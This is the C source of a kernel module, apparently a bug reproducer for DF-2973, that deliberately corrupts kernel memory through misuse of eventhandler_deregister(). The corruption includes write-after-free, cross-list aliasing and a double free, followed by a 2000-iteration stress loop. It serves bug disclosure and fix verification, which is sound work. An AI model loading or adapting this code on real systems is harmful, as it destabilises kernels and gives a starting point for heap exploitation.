DF-2973 / df2973.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 | /* * DF-2973 โ eventhandler_deregister() performs no validation of <tag>. * * Deterministic (race-free) demonstration of kernel memory corruption from * inside a KLD, mirroring what any in-tree/out-of-tree consumer mistake * produces: * * STAGE 1 wrong-list deregistration * b2 is the LAST entry of list B but is removed through list A. * TAILQ_REMOVE(head=A, elm=b2): * - b2->tqe_next == NULL, so A->tqh_last = b2->tqe_prev * = &b1->ee_link.tqe_next -> A's tail sentinel is redirected * INTO LIST B's live entry. * - B->tqh_last is never updated (that is the correct head's * job) -> B's tail sentinel keeps pointing at the entry that * is about to be kfree()d. * b2 is then freed. * -> next registration on B appends THROUGH the dangling sentinel: * *(B->tqh_last) = b3 writes a heap pointer into the FREED b2 * chunk and b3 is unreachable by traversal. * -> next registration on A appends through the redirected * sentinel: *(A->tqh_last) = a2 writes a2 into LIVE b1->tqe_next * -> cross-list aliasing (B's traversal now walks into A). * * STAGE 2 tag==NULL mass-wipe + dangling-tag re-deregister * eventhandler_deregister(W, NULL) frees every entry of W (this is * the documented-but-insane "remove entire list" mode) leaving * every consumer that saved a tag with a dangling pointer. * Re-deregistering one saved tag (exactly what a consumer's own * detach path does) runs TAILQ_REMOVE + kfree on FREED memory: * - freed-memory writes into w2 * - the freed w2 is written back into W->tqh_first (list head * pollution) * - w1 is kfree()d a SECOND time (double free) * The double free is proven by allocation aliasing: the chunk sits * twice on the freelist, so two subsequent registrations come back * with the SAME address -> two live owners of one chunk. * * STAGE 3 stress: 2000 iterations of the stage-1 pattern with fresh names * (repeatability / volume of write-after-free). * * Build: see build.sh (in-guest: make) * Run: see run.sh (kldload + dmesg) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/eventhandler.h> #include <sys/malloc.h> static void dummy(void *arg) { } #define E(x) ((struct eventhandler_entry *)(x)) #define NEXT(x) ((void *)(E(x)->ee_link.tqe_next)) static int confirmed; static int stage1(const char *ns) { char nmA[64], nmB[64]; struct eventhandler_list *A, *B; eventhandler_tag a1, a2, b1, b2, b3; int hit = 0; ksnprintf(nmA, sizeof(nmA), "%s_a", ns); ksnprintf(nmB, sizeof(nmB), "%s_b", ns); a1 = eventhandler_register(NULL, nmA, dummy, NULL, 1000); b1 = eventhandler_register(NULL, nmB, dummy, NULL, 1000); b2 = eventhandler_register(NULL, nmB, dummy, NULL, 2000); /* last in B */ A = eventhandler_find_list(nmA); B = eventhandler_find_list(nmB); if (A == NULL || B == NULL) { kprintf("DF2973[%s]: baseline failed\n", ns); return (0); } /* ---- THE BUG: remove b2 (belongs to B) through list A ---- */ eventhandler_deregister(A, b2); if (A->el_entries.tqh_last == &E(b1)->ee_link.tqe_next) { kprintf("DF2973[%s] CONFIRMED: A->tqh_last redirected into " "B's LIVE entry b1 (%p)\n", ns, b1); hit++; } if (NEXT(b1) == NULL && B->el_entries.tqh_last == &E(b2)->ee_link.tqe_next) { /* * Only meaningful when b2 was ACTUALLY unlinked (b1->next * == NULL); on a fixed kernel b2 stays live-and-last, which * is legitimate and must not be counted. */ kprintf("DF2973[%s] CONFIRMED: B->tqh_last still points at " "FREED b2 (%p) after its removal\n", ns, b2); hit++; } /* append to B goes through the dangling sentinel */ b3 = eventhandler_register(NULL, nmB, dummy, NULL, 3000); if (NEXT(b1) == NULL) { kprintf("DF2973[%s] CONFIRMED: b3 (%p) was written into the " "FREED b2 chunk (write-after-free); b3 is INVISIBLE to " "traversal (b1->next==NULL)\n", ns, b3); hit++; } if ((void *)b3 == (void *)b2) { kprintf("DF2973[%s] CONFIRMED: freed b2 chunk reused as b3 โ " "stale write landed in a LIVE object\n", ns); hit++; } /* append to A goes through the redirected sentinel */ a2 = eventhandler_register(NULL, nmA, dummy, NULL, 2000); if (NEXT(b1) == (void *)a2) { kprintf("DF2973[%s] CONFIRMED: cross-list aliasing โ B:b1->next " "== A:a2 (%p); traversing B now executes A's entry\n", ns, a2); hit++; } return (hit); } static int stage2(void) { struct eventhandler_list *W; eventhandler_tag w1, w2, p1, p2; int hit = 0; w1 = eventhandler_register(NULL, "df2973_w", dummy, NULL, 1000); w2 = eventhandler_register(NULL, "df2973_w", dummy, NULL, 2000); W = eventhandler_find_list("df2973_w"); /* documented-but-dangerous mode: NULL tag frees the ENTIRE list. * (Unchanged by fix.diff: this is the (in)famous API semantics; the * corruption below comes from consumers' dangling saved tags.) */ eventhandler_deregister(W, NULL); if (TAILQ_EMPTY(&W->el_entries)) { kprintf("DF2973 info: tag==NULL silently freed the whole " "list; saved tags w1=%p w2=%p now DANGLE\n", w1, w2); } /* the consumer's own later detach path re-deregisters its saved tag */ eventhandler_deregister(W, w1); /* TAILQ_REMOVE + kfree on FREED w1 */ if (W->el_entries.tqh_first == E(w2)) { kprintf("DF2973 CONFIRMED: double-deregister wrote FREED w2 " "(%p) back into W->tqh_first (head pollution) and kfree()d " "w1 a second time (DOUBLE FREE)\n", w2); hit++; } /* double-free proof by allocation aliasing */ p1 = eventhandler_register(NULL, "df2973_p", dummy, NULL, 1000); p2 = eventhandler_register(NULL, "df2973_q", dummy, NULL, 1000); if ((void *)p1 == (void *)p2) { kprintf("DF2973 CONFIRMED: DOUBLE-FREE aliasing โ chunk %p " "handed out twice (p1==p2): two live owners of one kernel " "heap object\n", p1); hit++; } else { kprintf("DF2973 note: no aliasing observed (p1=%p p2=%p); " "double free still occurred (w1 kfree'd twice)\n", p1, p2); } return (hit); } static int df2973_modevent(module_t m, int what, void *d) { int i, n; char ns[32]; switch (what) { case MOD_LOAD: n = stage1("df2973"); confirmed += n; kprintf("DF2973 stage1 (wrong-list deregister): %d/4 corruption " "signatures\n", n); n = stage2(); confirmed += n; kprintf("DF2973 stage2 (NULL wipe + stale tag): %d corruption " "signatures\n", n); for (i = 0; i < 2000; i++) { ksnprintf(ns, sizeof(ns), "df2973s%d", i); stage1(ns); } kprintf("DF2973 stage3: 2000 stress iterations done\n"); kprintf("DF2973 TOTAL confirmed=%d %s\n", confirmed, (confirmed >= 4) ? "โ MEMORY CORRUPTION REPRODUCED" : "โ INCOMPLETE"); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t df2973_mod = { "df2973", df2973_modevent, NULL }; DECLARE_MODULE(df2973, df2973_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(df2973, 1); |